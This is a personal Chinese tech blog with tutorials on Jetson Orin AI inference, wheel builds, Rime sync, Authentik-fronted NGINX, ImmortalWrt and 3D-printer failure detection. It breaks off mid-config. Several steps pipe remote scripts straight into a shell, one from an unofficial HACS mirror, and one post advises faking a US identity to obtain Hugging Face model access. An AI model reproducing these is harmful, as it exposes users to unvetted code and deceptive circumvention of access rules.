Shattered217のBlog

Jetson Orin 部署 OpenClaw 开启 Memory Search

Sun, 14 Jun 2026 00:00:00 GMT

主播最近把小龙虾迁移到 Orin NX 上了，然后发现小龙虾的记忆搜索功能依托的是 node.llama.cpp，但是在 ARM 设备上编译出的产物似乎不支持 CUDA 加速，故决定自编译以支持高性能计算推理

编译llama.cpp

键入以下命令拉取最新源码并编译llama相关的二进制可执行程序

apt-get update
apt-get install pciutils build-essential cmake curl libcurl4-openssl-dev -y
git clone https://github.com/ggml-org/llama.cpp

cmake -S llama.cpp -B llama.cpp/build \
    -DCMAKE_BUILD_TYPE=Release \
    -DBUILD_SHARED_LIBS=OFF \
    -DGGML_CUDA=ON \
    -DCMAKE_CUDA_ARCHITECTURES=87 \
    -DLLAMA_CURL=ON \
    -DLLAMA_SERVER=ON

cmake --build llama.cpp/build -j$(nproc) \
    --target llama-cli llama-gguf-split llama-server

复制程序到工作区便于使用，以及下载模型

mkdir -p llama-ws
cp llama.cpp/build/bin/llama-* llama-ws

wget -O llama-ws/embeddinggemma-300m-qat-Q8_0.gguf \
  "https://huggingface.co/ggml-org/embeddinggemma-300m-qat-q8_0-GGUF/resolve/main/embeddinggemma-300m-qat-Q8_0.gguf"

推理模型

进入工作区运行命令推理即可，然后可以让小龙虾写一个 systemctl 启动项，方便管理，并让它自己把记忆搜索的服务接入 http://127.0.0.1:8080 这个端点就行

cd llama-ws
./llama-server --model /home/ros/llama.cpp/embeddinggemma-300m-qat-Q8_0.gguf --embedding --n-gpu-layers 99 --batch-size 1024 --ubatch-size 1024 --cache-ram 0 --host 127.0.0.1 --port 8080

当然如果你实在想自己接大概就是这样（位于文件 openclaw.json 的 agent.defaults 字段下面

"memorySearch": {
        "enabled": true,
        "sources": [
          "memory",
          "sessions"
        ],
        "provider": "openai-compatible",
        "fallback": "none",
        "remote": {
          "baseUrl": "http://127.0.0.1:8080/v1",
          "apiKey": "llama-local"
        },
        "model": "embeddinggemma-300m-qat-Q8_0.gguf"
      }

设置 1024 的 batchsize 基本能够使用，如果不够后面自己再调大吧，运行占用如下

Jetson Python环境优雅链接系统包

Tue, 09 Jun 2026 00:00:00 GMT

最近煮包的 Orin NX 更新了最新的 Jetpack7.2，但在构建 TensorRT Python 包的时候出现了问题，官方似乎删掉了build.sh 这个关键的脚本文件，在网上搜索的时候突然发现 uv 其实自带链接系统包的功能，不需要自己手动硬链接了，命令如下

uv venv .venv --python 3.12 --system-site-packages

验证情况

uv run python -c "import tensorrt as trt; print(trt.__version__)"
uv run python3 -c "import cv2; print(cv2.__version__); print(cv2.cuda.getCudaEnabledDeviceCount())"

可以看到虚拟环境并没有安装任何包，但是 trt 和 opencv 都是可用的

（但是 PyTorch 还是需要自己编译啊，因为系统不自带，需要的可以参考我之前的文章，试了一下基本都还是可用的）

Rime 雾凇拼音多端配置及同步 Win-Android-iOS

Wed, 18 Mar 2026 00:00:00 GMT

前言

由于受够了某🐶拼音输入法长期窥探隐私，内存占用过大，Win 端捆绑软件多等问题，故痛定思痛决定抛弃用了数十年的词库转头选择开源输入法 Rime。（实际扔了后发现也没什么大不了的 😐

关于 Rime

Rime (核心)： 是一套强大的开源输入法框架，它本身不直接写字，只负责“怎么把拼音变成汉字”的逻辑。
各端软件 (前端/壳)： 为了让你在不同设备上用 Rime，开发者做了不同的壳。Windows 上叫小狼毫 (Weasel)，macOS 上叫鼠须管 (Squirrel)，Linux 上常用 Fcitx5-Rime，安卓上则是小企鹅输入法。
雾凇拼音 (配置/词库)： Rime 刚装好时几乎是“白纸”一张，词库单薄且不好用。雾凇是目前最火的一套现成的“装修方案”，它提供了极其强大的词库和聪明的纠错规则，把 Rime 瞬间武装成一个输入法利器。

Windows 端

这是 Rime 输入法的下载官网

我们先从 Windows 开始，下载小狼毫输入法后安装，最好指定用户文件夹，方便我们管理个人配置，其余暂时不用管，等会都会配置的

进入刚刚配置的用户文件夹一键删除配置

安装雾凇拼音，即下载最新的 release 中的 full.zip 解压到个人文件夹（亦或是git clone也可以）

右键输入法选择重新部署后等待一会

进入输入法设定，仅保留雾凇拼音，然后再重新部署一下

接下来我们要编辑用户目录下的 installation.yaml 的 installation_id 字段为自己电脑的名字以配置同步（主要是方便识别），保存后再重新部署一下然后点击用户资料同步

然后你会发现在目录下多了个 sync 的文件夹，里面有你的个性化配置，我们需要把这个配置分发出去，同时也需要把其他客户端的同步配置复制进来，Rime 会自动处理并合并多端的配置/词库

我的同步方案是基于 Openlist-WebDAV，没有的小伙伴可以去领取支持 WebDAV 的免费对象存储（网上很多），也可以达到相同的效果。

由于本人用 Win 端较多，所以脚本主要是围绕 Win 端进行，即 Win 端会通过定时任务拉取多端的配置进行合并，以此保证词库最新，所以别的端只需要拉取一次 Win 端的压缩包就可以了。

PowerShell 脚本（可以加入计划任务每天自动同步）

安卓端

安卓端客户端推荐说点啥+改版小企鹅输入法+Rime 插件(plugin.rime)，前者是语音转文字软件（还有剪切板同步功能），后者小企鹅输入法是 Rime 在安卓上的前端实现，但是说点啥的作者给其加了补丁，长按空格可以联动说点啥触发语音转文字，让我们在安卓上输入更优雅

安装小企鹅输入法和 Rime插件（下载一般选 armv8_64 ）后会显示插件已加载

然后我们也需要配置雾凇拼音，即下载 full.zip 到 /storage/emulated/0/Android/data/org.fcitx.fcitx5.android/files/data/rime 并解压

然后返回小企鹅输入法的配置页面，进入输入法，删掉里面自带的拼音，添加中州韵

然后在点击一个对话框进入输入法页面点击三个点进入配置页面，点击雾凇拼音-重新部署即可享用，后面用到的同步按钮也在这里

现在我们来配置安卓端的同步（暂时需要 Root 权限）

修改 installation_id 为手机型号便于识别，文件位于 /storage/emulated/0/Android/data/org.fcitx.fcitx5.android/files/data/rime/installation.yaml

然后我们只要再写一个同步脚本即可实现数据互通（注意安卓端脚本无法实现调用软件接口同步，所以需要自己在运行脚本前后手动点击同步）

安卓脚本链接（推荐使用 MT-管理器并且勾选使用 Root 权限执行）

iPad/iOS 端

iOS 端已经内置了雾凇拼音，故我们仅需要在 APP Store 下载 Hamster ，需要配置的点如下

输入方案设置 - 保留雾凇拼音和 Easy English Nano
RIME - 同步文件夹名称（例如iPad）
RIME - 选择同步路径 - 推荐：我的iPad/Hamster/Share

同步方面我们使用快捷指令可以优雅地一键完成

共享链接

需要修改的点如下

共享文件夹选择实际导出的同步文件夹
WebDAV 链接按实际填写
替换 WebDAV 密钥为 Base64 编码进入 Base64在线编码网站在上方填入账户:密码，生成的就是密钥，如admin:123为YWRtaW46MTIz，生成出来的密码替换掉xxxx，注意前面的Basic和空格均要保留
子路径按实际添加

二遍：

本人后续换了 iPhone，实测元书输入法用起来似乎更顺手一点（本身元书和仓也都是一个作者做的），如果大家想体验的话其实也只需要把快捷指令中仓的同步换成元书的同步就可以了（当然路径也要修改），整体是大差不差的

FRP 面板(Basic Auth)接入 Authentik 单点登录指南

Fri, 23 Jan 2026 00:00:00 GMT

前言

由于 FRP Panel 使用的是 Basic Auth 来鉴权，然后 Bitwarden 无法自动填充密码，自己输感觉很麻烦，就想着能不能接入 Authentik 来实现无感认证（结果折腾的时间够我输一万次了bushi）

Authentik 端配置

首先先在 Providers 处添加一个 Proxy Provider

名称 FRP Proxy
授权流程 default-provider-authorization-implicit-consent (Authorize Application)
外部主机（你的FRP面板地址） https://frp.example.com

这边可以全选作用域（可能用不上，但是全选总没错）

身份验证设置可以保持默认（不要在这边填写 Basic Auth，等会会让 NGINX 处理账户密码这部分，或者你可以试试，反正主播搞不定），联邦式 OIDC 提供程序可以把 FRP Proxy 选上

然后在 Application 处创建，名称 FRP Dash，提供程序选择刚刚创建的 FRP Proxy，策略引擎模式选择 ALL

最后在 Outposts 处编辑 authentik Embedded Outpost，把 FRP Dash 选上，还要保证下面的 authentik_host 是外网可访问的地址

NGINX 配置

在终端中输入获取你的账户:密码的 base64 形式，例如这样 5L2g55qE6LSm5oi3OuS9oOeahOWvhueggQ==，然后根据注释修改 NGINX 配置即可

echo -n "你的账户:你的密码" | base64

map $http_upgrade $connection_upgrade_keepalive {
    default upgrade;
    ''      '';
}

server {
    listen 443 ssl http2;
    server_name frp.example.com; # 配置域名

    # 配置证书
    ssl_certificate     /root/.acme.sh/xxx;
    ssl_certificate_key /root/.acme.sh/xxx;

    proxy_buffer_size          128k;
    proxy_buffers              4 256k;
    proxy_busy_buffers_size    256k;

    location / {
        auth_request /authentik-verify;
        error_page 401 = @goauthentik_proxy_signin;

        # 配置刚刚生成的 base64 密钥
        set $fixed_auth "Basic 5L2g6Kej5a+G5LqG5oOz5bmy5ZibT3ZP";
        proxy_set_header Authorization $fixed_auth;

        auth_request_set $auth_cookie $upstream_http_set_cookie;
        add_header Set-Cookie $auth_cookie;

        # 这是 FRP Dash 的端口，默认 7500
        proxy_pass http://127.0.0.1:7500;
        proxy_set_header Host 127.0.0.1;

        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location = /authentik-verify {
        internal;
        # 替换你的 Authentik 域名
        proxy_pass              https://sso.example.com/outpost.goauthentik.io/auth/nginx;

        # 替换你的 Authentik 域名
        proxy_set_header        Host sso.example.com;
        proxy_set_header        X-Forwarded-Host $http_host;
        proxy_set_header        X-Original-URL $scheme://$http_host$request_uri;

        proxy_pass_request_body off;
        proxy_set_header        Content-Length "";
    }

    location /outpost.goauthentik.io {
        # 替换你的 Authentik 域名
        proxy_pass              https://sso.example.com/outpost.goauthentik.io;

        # 替换你的 Authentik 域名
        proxy_set_header        Host sso.example.com;
        proxy_set_header        X-Forwarded-Host $http_host;
        proxy_set_header        X-Original-URL $scheme://$http_host$request_uri;

        add_header              Set-Cookie $auth_cookie;
        auth_request_set        $auth_cookie $upstream_http_set_cookie;
        proxy_pass_request_body off;
        proxy_set_header        Content-Length "";
    }

    location @goauthentik_proxy_signin {
        internal;
        add_header Set-Cookie $auth_cookie;
        return 302 /outpost.goauthentik.io/start?rd=$scheme://$http_host$request_uri;
    }
}

在 Jetson 上通过容器 trt 推理 YOLO26 指南

Sat, 17 Jan 2026 00:00:00 GMT

前言

上篇教程是通过虚拟环境来管理环境，这篇教程尝试通过容器技术来构建高大全的镜像以此来推理 YOLO

构建容器

注意煮包的运行环境是 JetPack 6.2.1 [L4T 36.4.7]，如果不符需要寻找适合自己的镜像 JP

# 查看 L4T 版本
cat /etc/nv_tegra_release
jetson_release

示例如下

如果 L4T ['>=35'] 前往 jetson-containers/packages/pytorch at master · dusty-nv/jetson-containers

如果 L4T ['<=35'] 前往 jetson-containers/packages/ml/l4t/l4t-pytorch at master · dusty-nv/jetson-containers

根据文档的要求选择适合的镜像，使用以下代码来运行，例如匹配我的版本是 2.7-r36.4.0

# 安装容器工具
git clone https://github.com/dusty-nv/jetson-containers
bash jetson-containers/install.sh

# 指定版本拉取并运行容器
jetson-containers run dustynv/pytorch:2.7-r36.4.0

# 自动选择适合的镜像
jetson-containers run $(autotag pytorch)

如果没找到合适的镜像进行 build 的话可能会遇到以下报错，原因是 Jetson Orin （或更老）上的 docker 不支持 --gpus=all 这个参数

选择自己喜欢的文件编辑器修改 /etc/docker/daemon.json，在 "default-runtime" 和 "runtimes" 字段中与下面保持一致，然后重新 build，放心，优秀的 docker 有缓存机制，会自中断点后构建，不会重来

{
    "default-runtime": "nvidia",
    "runtimes": {
        "nvidia": {
            "path": "nvidia-container-runtime",
            "runtimeArgs": []
        }
    }
}

推理 YOLO

等待拉取完成后就会进入容器的命令交互界面

mkdir -p /root/yolo
cd /root/yolo

apt-get update && apt-get install -y libgl1 libglib2.0-0
pip3 install ultralytics -i https://pypi.tuna.tsinghua.edu.cn/simple
pip3 install "numpy<2" "opencv-python<4.10" -i https://pypi.tuna.tsinghua.edu.cn/simple

验证

yolo check

使用 Pytorch 推理

yolo predict model=yolo26n.pt source='https://ultralytics.com/images/bus.jpg'

Speed: 6.1ms preprocess, 143.9ms inference, 15.2ms postprocess per image at shape (1, 3, 640, 480)

构建 TensorRT 推理引擎

pip3 install onnxslim -i https://pypi.tuna.tsinghua.edu.cn/simple
yolo export model=yolo26n.pt format=engine half=True device=0
# onnxruntime 报错不用管

推理引擎

yolo predict task=detect model=yolo26n.engine source='https://ultralytics.com/images/bus.jpg'

Speed: 6.4ms preprocess, 5.2ms inference, 13.4ms postprocess per image at shape (1, 3, 640, 640)

Jetson Orin 使用 TensorRT 推理 YOLO26

Sat, 17 Jan 2026 00:00:00 GMT

引

还在为边缘端推理掉帧而头疼？YOLO26 + Jetson Orin 或许是目前的终极解决方案。支持全链路量化加速，专为边缘侧算力优化。不用改底层代码，几行命令实现 TensorRT 加速——极简的 YOLO 部署指南。

搭建环境

YOLO26 的推理需要 PyTorch（带 CUDA ）和 ultralytics 的包，关于前者可以参考我之前的自编译教程

Jetson Orin PyTorch whl 自编译指南

Jetson Orin TorchVision whl 自编译指南

如果不想自编译，可以在 NVIDIA Developer Forums 下载官方提供的预编译 torch 和 torchvision，下面给出安装方案

curl -LsSf https://astral.sh/uv/install.sh | sh  # 首先安装 UV，安装过的可跳过
mkdir -p yolo26
cd yolo26
uv venv .venv --python 3.10 # 创建一个工作区以及虚拟环境
uv pip install ultralytics # 安装 YOLO 官方的超集包
wget https://nvidia.box.com/shared/static/zvultzsmd4iuheykxy17s4l2n91ylpl8.whl -O torch-2.3.0-cp310-cp310-linux_aarch64.whl
wget https://nvidia.box.com/shared/static/u0ziu01c0kyji4zz3gxam79181nebylf.whl -O torchvision-0.18.0a0+6043bc2-cp310-cp310-linux_aarch64.whl
uv pip uninstall torch
uv pip uninstall torchvision
uv pip install torch-2.3.0-cp310-cp310-linux_aarch64.whl
uv pip install torchvision-0.18.0a0+6043bc2-cp310-cp310-linux_aarch64.whl
uv pip install "numpy<2"
# 下载并安装GPU版本的 torch torchvision 以及降级 numpy

如果既不想自编译也没有合适的版本怎么办呢？别急，还可以通过 container 来跑 dusty-nv/jetson-containers: Machine Learning Containers for NVIDIA Jetson and JetPack-L4T （与本文相关性不太大，后期可能专门出一期教程）

教程已出 /2026/01/17/jetson-container-trt-yolo26-inference-guide/

这里我还是根据自编译的 whl 来跑，因为自由度更高，我也分享了 whl 在 GitHub 上，如果 JetPack 为 6.2.x 都可以尝试安装

curl -LsSf https://astral.sh/uv/install.sh | sh  # 首先安装 UV，安装过的可跳过

mkdir -p yolo26
cd yolo26
uv venv .venv --python 3.10 # 创建一个工作区以及虚拟环境

uv pip install ultralytics # 安装 YOLO 官方的超集包

wget https://github.com/Shattered217/Jetson-Orin-Wheels/releases/download/6.2.1rc1/torch-2.3.0a0+git97ff6cf-cp310-cp310-linux_aarch64.whl
wget https://github.com/Shattered217/Jetson-Orin-Wheels/releases/download/6.2.1rc1/torchvision-0.18.0-cp310-cp310-linux_aarch64.whl

uv pip install torch-2.3.0a0+git97ff6cf-cp310-cp310-linux_aarch64.whl
uv pip install torchvision-0.18.0-cp310-cp310-linux_aarch64.whl
# 安装 torch 包

验证 YOLO

source .venv/bin/activate
yolo check

推理 YOLO26

# 在虚拟环境下运行
yolo predict model=yolo26n.pt source='https://ultralytics.com/images/bus.jpg'

竟然要 143.8ms ?别急，接下来我们将使用 TensorRT 量化加速模型

推理 YOLO26 TRT

首先需要安装 onnx

uv pip install onnx onnxslim

关于 TensorRT，可以通过软链接指向系统的 TRT 包命令如下（但需要虚拟环境与系统的 Python 版本统一，即3.10，不然会报错，如果版本不匹配或其他问题导致的链接失败，请参考自编译指南）

ln -sf /usr/lib/python3.10/dist-packages/tensorrt* $(python3 -c 'import site; print(site.getsitepackages()[0])')/
python3 -c "import tensorrt; print(f'TensorRT version: {tensorrt.__version__}')"

回显版本则说明链接成功

然后我们可以开始导出 TRT engine（会报错 onnxruntime-GPU 的问题，不用在意，如果硬要装也可以，自编译 Jetson Zoo预编译煮包预编译。另外，煮包的 Github 预编译仓库里面也有 TRT 的预编译包，安装就不用软链接了，不过并没有什么大区别）

yolo export model=yolo26n.pt format=engine half=True device=0

导出成功后然后我们可以继续推理了

yolo predict task=detect model=yolo26n.engine source='https://ultralytics.com/images/bus.jpg'

可以看到推理速度已经达到个位数了，实验非常成功 ✌️

Jetson Orin PyTorch whl 自编译指南

Tue, 13 Jan 2026 00:00:00 GMT

基础信息

类别	关键参数	记录值	备注
基础工具	CMake / GCC	4.2.1 / 11.4.0	建议 CMake > 3.20
Python	Version / Path	3.12.12 / `.venv`	确保在虚拟环境下编译
PyTorch	Version	2.7.0
JetPack	Version	6.2.1	需对应 JetPack 版本
GPU 架构	CUDA_ARCH	sm_87 (Orin)	决定硬件兼容性
C++ ABI	CXX11_ABI	1 (ON)	影响第三方库链接
加速库	Flash Attention	ON	决定 Transformer 推理性能

构建步骤

拉取项目代码

git clone --recursive --branch v2.7.0 http://github.com/pytorch/pytorch
cd pytorch
sudo apt update && sudo apt-get install python3-pip cmake libopenblas-dev libopenmpi-dev -y

创建并激活虚拟环境

uv venv .venv --python 3.12
uv pip install -r requirements.txt
uv pip install scikit-build
source .venv/bin/activate

构建

export PYTORCH_BUILD_VERSION=2.7.0
export PYTORCH_BUILD_NUMBER=1
export TORCH_CUDA_ARCH_LIST="8.7"

export USE_NCCL=0             # 关闭 Jetson 用不上的模块
export USE_DISTRIBUTED=0
export USE_QNNPACK=0
export USE_PYTORCH_QNNPACK=0

export CUDA_HOME=/usr/local/cuda
export PATH=$CUDA_HOME/bin:$PATH
export LD_LIBRARY_PATH=$CUDA_HOME/lib64:$LD_LIBRARY_PATH
export USE_PRIORITIZED_TEXT_FOR_LD=1

export MAX_JOBS=$(nproc)
python3 setup.py bdist_wheel

whl 输出路径

./pytorch/dist/torch-2.7.0-cp312-cp312-linux_aarch64.whl

安装

uv pip install ./dist/torch-2.7.0-cp312-cp312-linux_aarch64.whl

测试验证

python -c"import torch
print(torch.cuda.is_available())"

Jetson Orin TensorRT whl 自编译指南

Tue, 13 Jan 2026 00:00:00 GMT

基础信息

类别	关键参数	记录值	备注
基础工具	CMake / GCC	4.2.1 / 11.4.0	建议 CMake > 3.20
Python	Version / Path	3.12.12 / `.venv`	确保在虚拟环境下编译
GPU 环境	CUDA / cuDNN	12.6 / 9.3.0
GPU 架构	CUDA_ARCH	sm_87 (Orin)	决定硬件兼容性
TensorRT	Version	10.3.0.26	构建产物

构建步骤

拉取项目代码

mkdir -p ~/makenv && cd ~/makenv
git clone --recursive --branch release/10.3 https://github.com/NVIDIA/TensorRT.git
cd ~/makenv/TensorRT/

创建虚拟环境

uv venv .venv --python 3.12
source .venv/bin/activate
uv pip install setuptools

创建 pybind

export PYTHON_INCLUDE_DIR=$(python3 -c "from sysconfig import get_paths; print(get_paths()['include'])")
export EXT_PATH=~/makenv/external
git clone https://github.com/pybind/pybind11.git $EXT_PATH/pybind11
mkdir -p $EXT_PATH/python3.12/include
ln -s $PYTHON_INCLUDE_DIR/* $EXT_PATH/python3.12/include/

构建

export TENSORRT_LIBPATH=/usr/lib/aarch64-linux-gnu
export TRT_OSSPATH=~/makenv/TensorRT
cd $TRT_OSSPATH/python
TENSORRT_MODULE=tensorrt PYTHON_MAJOR_VERSION=3 PYTHON_MINOR_VERSION=12 TARGET_ARCHITECTURE=aarch64 ./build.sh

whl输出目录

~/makenv/TensorRT/python/build/bindings_wheel/dist/tensorrt-10.3.0-cp312-none-linux_aarch64.whl

安装

uv pip install ~/makenv/TensorRT/python/build/bindings_wheel/dist/tensorrt-10.3.0-cp312-none-linux_aarch64.whl

测试验证

最小可用性测试

python -c "
import tensorrt as trt

print('TensorRT version:', trt.__version__)

logger = trt.Logger(trt.Logger.INFO)
builder = trt.Builder(logger)

network = builder.create_network(
    1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)

config = builder.create_builder_config()
config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 20)

print('Builder OK')
print('Network OK')
print('Config OK')
"

Jetson Orin TorchAudio whl 自编译指南

Tue, 13 Jan 2026 00:00:00 GMT

基础信息

TorchAudio 与 Torch 版本一致

PyTorch 编译教程请参考

构建步骤

拉取项目代码

git clone --recursive --branch v2.7.0 https://github.com/pytorch/audio torchaudio
cd torchaudio
sudo apt-get update && sudo apt-get install -y libsox-dev libimage-exiftool-perl libopus-dev libvpx-dev pkg-config

使用编译 PyTorch 的虚拟环境

source ../pytorch/.venv/bin/activate

构建

export USE_CUDNN=1
export CUDNN_INCLUDE_DIR=/usr/include
export CUDNN_LIBRARY=/usr/lib/aarch64-linux-gnu/libcudnn.so
export USE_CUDA=1
export TORCH_CUDA_ARCH_LIST="8.7"
export CUDA_HOME=/usr/local/cuda
export CUDNN_HOME=/usr/lib/aarch64-linux-gnu
export PATH=$CUDA_HOME/bin:$PATH
export CPATH="/usr/include/aarch64-linux-gnu:$CPATH"
export LIBRARY_PATH="/usr/lib/aarch64-linux-gnu:$LIBRARY_PATH"

python3 setup.py bdist_wheel

注意：虽然包含了路径，但 CUDNN 总是无法被包含，目前不知道如何解决

-- USE_CUDNN is set to 0. Compiling without cuDNN support

whl 输出路径

./torchaudio/torchaudio-2.7.0a0+654fee8-cp312-cp312-linux_aarch64.whl

安装

uv pip install ./dist/torchaudio-2.7.0a0+654fee8-cp312-cp312-linux_aarch64.whl

验证测试

python -c "
import torch; import torchaudio; import torchaudio.transforms as T;
print(f'PyTorch version: {torch.__version__}');
print(f'TorchAudio version: {torchaudio.__version__}');
print(f'Available backends: {torchaudio.list_audio_backends()}');
try:
    from torchaudio.utils import ffmpeg_utils;
    print('FFmpeg build config:', ffmpeg_utils.get_build_config());
except ImportError:
    print('FFmpeg utils not available in this version.');
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu');
print(f'Using device: {device}');
try:
    melspec = T.MelSpectrogram(sample_rate=16000, n_mels=64).to(device);
    waveform = torch.randn(1, 16000).to(device);
    spec = melspec(waveform);
    print('Successfully ran MelSpectrogram on GPU!');
    print(f'Output shape: {spec.shape}');
except Exception as e:
    print(f'GPU operation failed: {e}')
"

Jetson Orin TorchVision whl 自编译指南

Tue, 13 Jan 2026 00:00:00 GMT

基础信息

TorchVision 与 Torch 版本对照表

`torch`	`torchvision`	Python
`main` / `nightly`	`main` / `nightly`	`>=3.10`, `<=3.14`
`2.9`	`0.24`	`>=3.10`, `<=3.14`
`2.8`	`0.23`	`>=3.9`, `<=3.13`
`2.7`	`0.22`	`>=3.9`, `<=3.13`
`2.6`	`0.21`	`>=3.9`, `<=3.12`

PyTorch 编译教程请参考

构建步骤

拉取项目代码

git clone --recursive --branch v0.22.0 https://github.com/pytorch/vision torchvision
cd torchvision
sudo apt-get update && sudo apt-get install -y libjpeg-dev libpng-dev libwebp-dev libavcodec-dev libavformat-dev libswscale-dev ffmpeg

使用编译 PyTorch 的虚拟环境

source ../pytorch/.venv/bin/activate
uv pip install numpy pillow

构建

export CPATH="/usr/include/aarch64-linux-gnu:/usr/local/cuda/include:$CPATH"
export LIBRARY_PATH="/usr/lib/aarch64-linux-gnu:/usr/local/cuda/lib64:$LIBRARY_PATH"
export LD_LIBRARY_PATH="/usr/lib/aarch64-linux-gnu:/usr/local/cuda/lib64:$LD_LIBRARY_PATH"
export FORCE_CUDA=1
export TORCH_CUDA_ARCH_LIST="8.7"

python3 setup.py bdist_wheel

whl 输出路径

./torchvision/dist/torchvision-0.22.0+9eb57cd-cp312-cp312-linux_aarch64.whl

安装

uv pip install ./dist/torchvision-0.22.0+9eb57cd-cp312-cp312-linux_aarch64.whl

测试验证

python -c "
import torch
import torchvision
print(f'Torchvision Version: {torchvision.__version__}')
input_tensor = torch.rand(5, 4).cuda()
scores = torch.rand(5).	cuda()
try:
    torchvision.ops.nms(input_tensor, scores, 0.5)
    print('✅ CUDA Operators: SUCCESS')
except Exception as e:
    print(f'❌ CUDA Operators: FAILED, error: {e}')
from torchvision.io import image
print('✅ Basic Image IO: Functional')
"

ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容

Sun, 11 Jan 2026 00:00:00 GMT

前言

编译 ImmortalWrt 新手指南

之前的文章简单介绍了如何编译以及添加自定义软件源编译 ImmortalWrt，但是面临一个问题即 kmod 尾缀与官方不同，导致不能使用官方源安装 kmod，即使用过程中安装其他需要 kmod 的软件包就需要重新编译，所以我们今天来解决这一痛点

准备环境

关于配环境可以参考之前的文章

拉取 ImmortalWrt 24.10.4

git clone -b openwrt-24.10 https://github.com/immortalwrt/immortalwrt
cd immortalwrt
git checkout v24.10.4

然后我们需要找到官方编译时的配置，浏览器进入以下网址

https://downloads.immortalwrt.org/releases/24.10.4/targets/

找到自己的设备，例如我的 Cudy tr3000 位于这里

https://downloads.immortalwrt.org/releases/24.10.4/targets/mediatek/filogic/

拉到最底下，就是我们需要的配置

我们将它下载到编译目录下，并复制 (注意要找到适合自己的，不要直接复制我的)

wget https://downloads.immortalwrt.org/releases/24.10.4/targets/mediatek/filogic/config.buildinfo
cp config.buildinfo .config

开始编译

然后操作流程与之前的教程类似

./scripts/feeds update -a
./scripts/feeds install -a

进入菜单选择自己的设备以及软件包

make menuconfig

编译

make download
make -j64

检查对齐

检查文件 kernel 字段 ./immortalwrt/bin/targets/mediatek/filogic/immortalwrt-24.10.4-xxx.manifest

我们再返回之前的页面进入 kmods 文件夹，对比二者一致就算成功了！

Jetson Orin TensorRT 量化推理 SAM3 示例教程

Sat, 10 Jan 2026 00:00:00 GMT

本机配置

Jetson Orin NX 16G
Ubuntu 22.04
Jetpack 6.2.1

基本要求：请确保你的 JetPack > 6，SWAP > 20G (很重要，不然会 OOM)

调整最佳性能模式

接下来的操作都需要较高的性能，所以我们通过 jtop 来调整释放最高性能

sudo jtop

按下 6 键或直接点击 CTRL 进入控制面板

将风扇配置调为 cool，Jetson Clocks 开启，能耗模式调整为 MAXN

输入以下命令暂时关闭桌面节省内存

sudo init 3 # 3 改为 5 或重启恢复桌面

构建并运行容器环境

首先先拉取我的项目，然后构建基于 pytorch 的深度学习环境

git clone -b modelscope https://github.com/Shattered217/SAM3-TensorRT.git
cd SAM3-TensorRT/
sudo docker build -t sam3-trt-aarch64 -f docker/Dockerfile.aarch64 .

通过 modelscope 拉取 SAM3 的模型（由于 meta 对 CN 用户不友好，所以如果要去 huggingface 申请仓库访问权限务必使用美国身份，最好主页也跟着改一下，不然大概率被拒

sudo apt-get install -y git-lfs # git 拉取大文件必备
git clone https://www.modelscope.cn/facebook/sam3.git

运行容器

sudo docker run -it --rm \
  --network=host \
  --gpus all \
  --ipc=host \
  --ulimit memlock=-1 \
  --ulimit stack=67108864 \
  --runtime=nvidia \
  --env HF_TOKEN \
  -v "$PWD":/workspace \
  -w /workspace \
  sam3-trt-aarch64 bash

导出 ONNX

python3 python/onnxexport.py

注意在导出的脚本中预定义了 prompt 为 “dog”，后期如需修改则要重新导出

trt 量化编译

/usr/src/tensorrt/bin/trtexec --onnx=onnx_weights/sam3_static.onnx --saveEngine=sam3_fp16.plan --fp16 --verbose

出现 PASSED 即测试通过，如果 FAILED 也没事，一般是内存不够导致测试失败了，只要 .plan 生成成功即可

编译并运行测试程序

编译

mkdir cpp/build && cd cpp/build
cmake ..
make

由于我们预训练的提示词是狗，所以我们需要准备狗的测试图片，第一个参数的测试集文件夹，第二参数是模型路径，导出图片位于 ./results

root@jetson-orin-nx:/workspace/cpp/build# ./sam3_pcs_app test/ ../../sam3_fp16.plan

效果展示

特别感谢以下项目

https://github.com/dataplayer12/SAM3-TensorRT

基于Jetson与HA的拓竹3D打印机炒面检测方案

Thu, 01 Jan 2026 00:00:00 GMT

前言

由于实验室闲置的板子较多，然后还有两台A1和一台P1S，就尝试在Jetson上端侧部署obico-server实现对炒面的视觉检测。

实际本质就是替换onnxruntime-GPU来实现在Jetson上的高性能推理（实际纯拿CPU硬算也够）

安装配置 Home Assistant

安装HA的教程网上有很多了，可以选择适合自己的方式，例如HAOS，这边只是简单演示，故选择使用docker-compose来快速实现

首先当然是安装docker-compose

sudo apt update
sudo apt install docker-compose -y

然后我们新建一个文件夹用来放置compose文件和数据目录

version: '3'
services:
  homeassistant:
    image: homeassistant/home-assistant:latest
    container_name: homeassistant
    restart: always
    volumes:
      - ./config:/config
    environment:
      - TZ=Asia/Shanghai
    ports:
      - "8123:8123"

在目录下拉取并运行HA

sudo docker-compose up -d

浏览器进入 IP:8123 ，根据向导页面简单配置一下

然后我们接下来需要安装 HACS 以通过 bambu lab 接入 3D打印机

sudo docker exec -it homeassistant /bin/bash # 进入容器的命令交互

wget -O - https://get.hacs.vip | bash - # hacs一键安装脚本

然后Ctrl+D退出容器，再重启一下容器

sudo docker-compose restart

进入设置 - 设备与服务 - 添加集成 - hacs

然后就能看到侧边栏多了个 HACS ，进入并且搜索 bambu lab 安装，然后再重启一下HA

重启完后再到添加集成里，搜索 bambu lab，根据向导添加打印机即可

如图所示添加自定义仓库

类型选择集成，仓库填写

https://github.com/nberktumer/ha-bambu-lab-p1-spaghetti-detection

然后即可安装炒面检测配套的集成

重启后记得再去集成里面添加一下

最后一步是点击此链接添加自动化蓝图，来实现对3D打印机的自动监测与提醒

点击第一个蓝图即可进行配置，当然我们这边还没安装机器学习的服务端，所以暂时先不配置

安装 Obico_ML

上面都是前置的准备工作，这是检测炒面的关键服务，使用onnxruntime来推理视觉模型实现对炒面的检测

在 x86 服务端上，我们只需通过 docker-compose 即可一键拉取运行

version: '3.8'

services:
  ha_bambu_lab_p1_spaghetti_detection:
    image: nberk/ha_bambu_lab_p1_spaghetti_detection_standalone:latest
    container_name: ha_bambu_lab_p1_spaghetti_detection
    restart: unless-stopped
    environment:
      - ML_API_TOKEN=bambu_nb
      - TZ=Asia/Shanghai
    ports:
      - "3333:3333"

亦或是直接把两个compose文件合并

version: '3'
services:
  homeassistant:
